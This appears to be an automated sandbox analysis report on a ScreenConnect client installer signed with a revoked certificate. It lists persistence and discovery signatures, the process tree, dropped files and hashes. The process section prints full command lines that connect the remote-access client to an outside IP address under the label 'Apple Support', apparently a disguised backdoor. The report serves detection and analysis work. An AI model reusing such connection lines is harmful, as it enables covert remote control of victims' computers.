Analysis

  • geolocation tags

    cacanadananorth-americatoronto
  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    885s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 22:37

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260930-2j57vsbh59
  • SHA256 e1a6988d51d98f1027149663d171b64e13eaefe2fafc34bf20719900a105ed70
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 8 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3016
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B5E5130B8A611CD0E2AF9451CEA21508 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5288
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240714343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3920
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:948
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D1278B992F5C558D84351B01F9B5B5E5
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3664
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B6AC9D1B2E8F442D6345C8CE3486CB47 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3972
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2408
    • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=131.123.37.216&p=8041&s=220c4125-a404-4ca8-b53e-d3dbde28fb88&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=Apple%20Support"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3760
      • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe" "RunRole" "63dd9e95-fed7-41b7-9632-b5f58cf65b60" "User"
        2⤵
        • Executes dropped EXE
        PID:3036
    • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=131.123.37.216&p=8041&s=220c4125-a404-4ca8-b53e-d3dbde28fb88&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8fooJYnEhSV7fUNG1B5eEbEBaTsdMjuSy6wM5sWHiNov0IfCi2R8idtf7h0sRNyUXYU5mv3WfbAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qSf5EGwD4G1QOOnZh31YJbjAYbQ8GPb16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0ubjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=Apple0Support"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1860
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 1312
        2⤵
        • Program crash
        PID:4344
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1860 -ip 1860
      1⤵
        PID:5400
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:2140
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:1964
          • C:\Windows\System32\SecurityHealthHost.exe
            \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
            1⤵
              PID:4228

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  e596950.rbs

                  • Path C:\Config.Msi\e596950.rbs
                  • Size 214KB
                  • SHA256 45fc56d211973fca84a38a9dd6824d932f7495b728300754e0a06bedf807b213
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  Client.Override.en-US.resources

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.Override.en-US.resources
                  • Size 512B
                  • SHA256 805b0ba841ed0f02f7791f0b6a706c0a7504672a92fd2aae94071a2de4c2a474
                  • MD5 SHA1 SHA512 TLSH

                  Client.Override.resources

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.Override.resources
                  • Size 512B
                  • SHA256 cb3ac8bf846a55bc32e0720414c09611ae7a332c6fc74f0bac8cb2437c1ab228
                  • MD5 SHA1 SHA512 TLSH

                  Client.en-US.resources

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.en-US.resources
                  • Size 65KB
                  • SHA256 54f557bba04d34617ace27c04a24c6b8a64e42dcb4de157be50dc80462b846e3
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  Client.resources

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.resources
                  • Size 24KB
                  • SHA256 7afb053cfe518d63ea9e97db329b62fff242720456ba0abdf71a1dca8fe49cde
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.Client.dll

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.Client.dll
                  • Size 192KB
                  • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.ClientService.dll

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.dll
                  • Size 66KB
                  • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.ClientService.exe

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
                  • Size 93KB
                  • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.WindowsAuthenticationPackage.dll

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsAuthenticationPackage.dll
                  • Size 254KB
                  • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.WindowsClient.exe

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
                  • Size 593KB
                  • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.WindowsClient.exe.config

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe.config
                  • Size 266B
                  • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                  • MD5 SHA1 SHA512 TLSH

                  ScreenConnect.WindowsCredentialProvider.dll

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsCredentialProvider.dll
                  • Size 837KB
                  • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  app.config

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\app.config
                  • Size 2KB
                  • SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
                  • MD5 SHA1 SHA512 TLSH

                  system.config

                  • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\system.config
                  • Size 936B
                  • SHA256 23af5e61c4889f985d797c8fae6ea6dd84a1fec45db97014b05dfe7c8e2db2f2
                  • MD5 SHA1 SHA512 TLSH

                  MSIA2.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\MSIA2.tmp
                  • Size 1.0MB
                  • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  Microsoft.Deployment.WindowsInstaller.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\MSIA2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                  • Size 172KB
                  • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.Core.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\MSIA2.tmp-\ScreenConnect.Core.dll
                  • Size 538KB
                  • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.InstallerActions.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\MSIA2.tmp-\ScreenConnect.InstallerActions.dll
                  • Size 11KB
                  • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ScreenConnect.Windows.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\MSIA2.tmp-\ScreenConnect.Windows.dll
                  • Size 1.6MB
                  • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  MSI7045.tmp

                  • Path C:\Windows\Installer\MSI7045.tmp
                  • Size 202KB
                  • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  e59694f.msi

                  • Path C:\Windows\Installer\e59694f.msi
                  • Size 12.9MB
                  • SHA256 e1a6988d51d98f1027149663d171b64e13eaefe2fafc34bf20719900a105ed70
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  metadata-2

                  • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                  • Size 26.1MB
                  • SHA256 c8bb85c1de22250773323221ee91f2493c7380caa8fee75b404cb25ba180b24d
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  {fadfc04d-d7f6-4666-b0eb-d869b5064afa}_OnDiskSnapshotProp

                  • Path \??\Volume{9cfaea72-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{fadfc04d-d7f6-4666-b0eb-d869b5064afa}_OnDiskSnapshotProp
                  • Size 6KB
                  • SHA256 fcf1d69ec9312a777d664e4cd7b971878ca6c7114c681c4604f67c8891341533
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/3036-128-0x000000001B800000-0x000000001B9AC000-memory.dmp

                  memory/3036-129-0x000000001B9B0000-0x000000001BB38000-memory.dmp

                  memory/3036-131-0x0000000000EE0000-0x0000000000EF8000-memory.dmp

                  memory/3036-130-0x0000000000E40000-0x0000000000E58000-memory.dmp

                  memory/3036-127-0x000000001B5C0000-0x000000001B64C000-memory.dmp

                  memory/3036-126-0x0000000000E80000-0x0000000000EB6000-memory.dmp

                  memory/3036-125-0x0000000000530000-0x00000000005C8000-memory.dmp

                  memory/3760-110-0x00000000047F0000-0x0000000004826000-memory.dmp

                  memory/3760-106-0x00000000045E0000-0x0000000004630000-memory.dmp

                  memory/3760-76-0x0000000001E10000-0x0000000001E28000-memory.dmp

                  memory/3760-115-0x0000000004AC0000-0x0000000004B95000-memory.dmp

                  memory/3760-113-0x0000000004830000-0x0000000004871000-memory.dmp

                  memory/3760-111-0x00000000048D0000-0x0000000004962000-memory.dmp

                  memory/3920-22-0x0000000003190000-0x000000000319A000-memory.dmp

                  memory/3920-18-0x0000000003160000-0x000000000318E000-memory.dmp

                  memory/3920-26-0x00000000052A0000-0x000000000532C000-memory.dmp

                  memory/3920-30-0x00000000054E0000-0x000000000568C000-memory.dmp

                  memory/3920-31-0x0000000005C50000-0x000000000620A000-memory.dmp